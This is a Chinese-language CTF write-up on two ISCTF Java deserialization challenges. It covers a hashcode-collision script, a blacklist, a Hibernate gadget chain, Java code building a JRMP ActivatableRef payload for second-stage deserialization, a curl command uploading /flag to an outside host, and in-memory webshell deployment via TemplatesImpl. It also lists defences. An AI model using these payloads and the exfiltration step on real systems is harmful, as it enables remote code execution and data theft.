ISCTF两道二次反序列化题目分析
字数 1167 2025-12-08 12:11:20

Java反序列化漏洞高级利用技术:二次反序列化与JRMP绕过

概述

本文深入分析ISCTF中两道涉及二次反序列化的CTF题目,重点讲解在黑名单限制下的高级绕过技术,特别是通过JRMP(Java Remote Method Protocol)实现二次反序列化的方法。

挑战一:Regretful_Deser

题目环境分析

  • JDK版本:1.8.0_472
  • 反序列化入口点存在hashcode验证机制
  • 安全限制:需要绕过黑名单实现RCE

关键限制条件

1. Hashcode验证绕过

题目要求传入的pass字符串不能与"n1ght"相等,但hashcode必须相等:

// 计算hashcode碰撞的脚本
public static void main(String[] args) {
    String target = "n1ght";
    int targetHash = target.hashCode();
    List<String> collisions = new ArrayList<>();
    
    char s0 = 'n'; // 110
    char s1 = '1'; // 49
    int pow4 = 31 * 31 * 31 * 31;
    int pow3 = 31 * 31 * 31;
    int pow2 = 31 * 31;
    int pow1 = 31;
    
    int part01 = s0 * pow4 + s1 * pow3;
    
    for (char s2 = 32; s2 <= 126; s2++) {
        int part2 = part01 + s2 * pow2;
        for (char s3 = 32; s3 <= 126; s3++) {
            int part3 = part2 + s3 * pow1;
            int s4Ascii = targetHash - part3;
            s4Ascii = (s4Ascii % 0x10000000 + 0x10000000) % 0x10000000;
            
            if (s4Ascii >= 32 && s4Ascii <= 126) {
                char s4 = (char) s4Ascii;
                String test = "" + s0 + s1 + s2 + s3 + s4;
                if (!test.equals(target) && test.hashCode() == targetHash) {
                    collisions.add(test);
                }
            }
        }
    }
    // 结果:[n1giU, n1gj6, n1hIt, n1hJU, n1hK6, n1i*t, n1i+U, n1i,6]
}

2. 反序列化黑名单

"org.apache.commons.collections", 
"javax.swing", 
"com.sun.rowset", 
"com.sun.org.apache.xalan", 
"java.security", 
"java.rmi.MarshalledObject", 
"javax.management.remote.rmi.RMIConnector"

技术突破点

Hibernate Getter链利用

由于CC链被禁用,选择Hibernate 5.6.15.Final反序列化链:

org.hibernate.property.access.spi.GetterMethodImpl.get()
→ org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
→ org.hibernate.type.ComponentType.getPropertyValue(C)
→ org.hibernate.type.ComponentType.getHashCode()
→ org.hibernate.engine.spi.TypedValue$1.initialize()
→ org.hibernate.engine.spi.TypedValue$1.initialize()
→ org.hibernate.internal.util.ValueHolder.getValue()
→ org.hibernate.engine.spi.TypedValue.hashCode()

二次反序列化绕过

关键发现:com.sun.jndi.ldap.LdapAttribute未被禁用,但高版本JDK限制LDAP利用。转而使用JRMP绕过。

JRMP利用技术详解

ActivatableRef类分析

public class ActivatableRef implements RemoteRef {
    private RemoteRef getRef() throws RemoteException {
        if (ref == null) {
            ref = activate(false);  // 关键调用点
        }
        return ref;
    }
    
    private RemoteRef activate(boolean force) throws RemoteException {
        Remote proxy = id.activate(force);
        // 通过动态代理触发RemoteObjectInvocationHandler
    }
}

完整利用链构造

import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.activation.ActivationID;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.ActivatableRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

public class JRMPBypass {
    public static Object createJRMPPayload(String host, int port) throws Exception {
        // 构造JRMP连接信息
        ObjID id2 = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id2, te, false));
        
        // 创建动态代理处理器
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        
        // 创建代理对象
        Object proxy = Proxy.newProxyInstance(
            ClassLoader.getSystemClassLoader(), 
            new Class[]{Remote.class, Activator.class}, 
            handler
        );
        
        // 构造ActivationID
        ActivationID activationID = new ActivationID((Activator) proxy);
        
        // 创建ActivatableRef实例
        ActivatableRef activatableRef = new ActivatableRef();
        setField(activatableRef, "id", activationID);
        
        return activatableRef;
    }
    
    private static void setField(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

最终调用栈

sun.rmi.transport.StreamRemoteCall.executeCall()
→ sun.rmi.server.UnicastRef.invoke()
→ java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod()
→ java.rmi.server.RemoteObjectInvocationHandler.invoke()
→ com.sun.proxy.$Proxy0.activate()
→ java.rmi.activation.ActivationID.activate()
→ sun.rmi.server.ActivatableRef.activate()

实战利用步骤

  1. 启动JRMP监听器
java -jar java-chains.jar -i 0.0.0.0
  1. 构造Hibernate链触发getter
// 将JRMP payload嵌入Hibernate反序列化链中
// 通过GetterMethodImpl.get()触发ActivatableRef.getRef()
  1. 外带flag
curl https://dns/ -T /flag

挑战二:load_jvav

环境特点

  • JDK版本:11(关键差异)
  • 存在文件上传和反序列化功能
  • 黑名单限制与第一题类似

技术差异点

JDK 11的影响

  • 许多JDK 8的利用链在JDK 11中失效
  • 需要重新寻找合适的利用链

利用链选择

由于RMIConnector的connect方法被限制,转而使用其他二次反序列化点:

// 调用栈显示利用Jackson反序列化链
TemplatesImpl.getOutputProperties()
 动态代理调用
 Jackson序列化过程
 EventListenerList.readObject()
 RMIConnector.connect()  // 二次反序列化触发点

关键技术点

内存马技术

由于题目环境不出网,需要部署内存马:

  • 利用TemplatesImpl加载恶意字节码
  • 通过反序列化触发内存马部署
  • 实现文件读取和命令执行功能

完整利用流程

  1. 构造包含TemplatesImpl的Jackson反序列化链
  2. 通过二次反序列化触发恶意类加载
  3. 部署内存Webshell或命令执行后门
  4. 读取flag文件内容

总结与防护建议

技术要点总结

  1. hashcode碰撞:通过数学计算找到hashcode相等的不同字符串
  2. 黑名单绕过:利用未被禁用的类实现二次反序列化
  3. JRMP利用:通过ActivatableRef触发远程方法调用
  4. JDK版本适配:针对不同JDK版本调整利用链

防护措施

  1. 完善黑名单:定期更新已知危险类列表
  2. 使用白名单:优先采用反序列化白名单机制
  3. 升级JDK:及时更新到最新版本,修复已知漏洞
  4. 代码审计:定期检查反序列化入口点的安全性
  5. 运行时监控:部署RASP进行实时攻击检测

通过深入理解这些高级利用技术,安全人员可以更好地防御复杂的反序列化攻击,同时CTF选手也能掌握更强大的漏洞利用能力。

Java反序列化漏洞高级利用技术:二次反序列化与JRMP绕过 概述 本文深入分析ISCTF中两道涉及二次反序列化的CTF题目,重点讲解在黑名单限制下的高级绕过技术,特别是通过JRMP(Java Remote Method Protocol)实现二次反序列化的方法。 挑战一:Regretful_ Deser 题目环境分析 JDK版本:1.8.0_ 472 反序列化入口点存在hashcode验证机制 安全限制:需要绕过黑名单实现RCE 关键限制条件 1. Hashcode验证绕过 题目要求传入的pass字符串不能与"n1ght"相等,但hashcode必须相等: 2. 反序列化黑名单 技术突破点 Hibernate Getter链利用 由于CC链被禁用,选择Hibernate 5.6.15.Final反序列化链: 二次反序列化绕过 关键发现: com.sun.jndi.ldap.LdapAttribute 未被禁用,但高版本JDK限制LDAP利用。转而使用JRMP绕过。 JRMP利用技术详解 ActivatableRef类分析 完整利用链构造 最终调用栈 实战利用步骤 启动JRMP监听器 : 构造Hibernate链触发getter : 外带flag : 挑战二:load_ jvav 环境特点 JDK版本:11(关键差异) 存在文件上传和反序列化功能 黑名单限制与第一题类似 技术差异点 JDK 11的影响 许多JDK 8的利用链在JDK 11中失效 需要重新寻找合适的利用链 利用链选择 由于RMIConnector的connect方法被限制,转而使用其他二次反序列化点: 关键技术点 内存马技术 由于题目环境不出网,需要部署内存马: 利用TemplatesImpl加载恶意字节码 通过反序列化触发内存马部署 实现文件读取和命令执行功能 完整利用流程 构造包含TemplatesImpl的Jackson反序列化链 通过二次反序列化触发恶意类加载 部署内存Webshell或命令执行后门 读取flag文件内容 总结与防护建议 技术要点总结 hashcode碰撞 :通过数学计算找到hashcode相等的不同字符串 黑名单绕过 :利用未被禁用的类实现二次反序列化 JRMP利用 :通过ActivatableRef触发远程方法调用 JDK版本适配 :针对不同JDK版本调整利用链 防护措施 完善黑名单 :定期更新已知危险类列表 使用白名单 :优先采用反序列化白名单机制 升级JDK :及时更新到最新版本,修复已知漏洞 代码审计 :定期检查反序列化入口点的安全性 运行时监控 :部署RASP进行实时攻击检测 通过深入理解这些高级利用技术,安全人员可以更好地防御复杂的反序列化攻击,同时CTF选手也能掌握更强大的漏洞利用能力。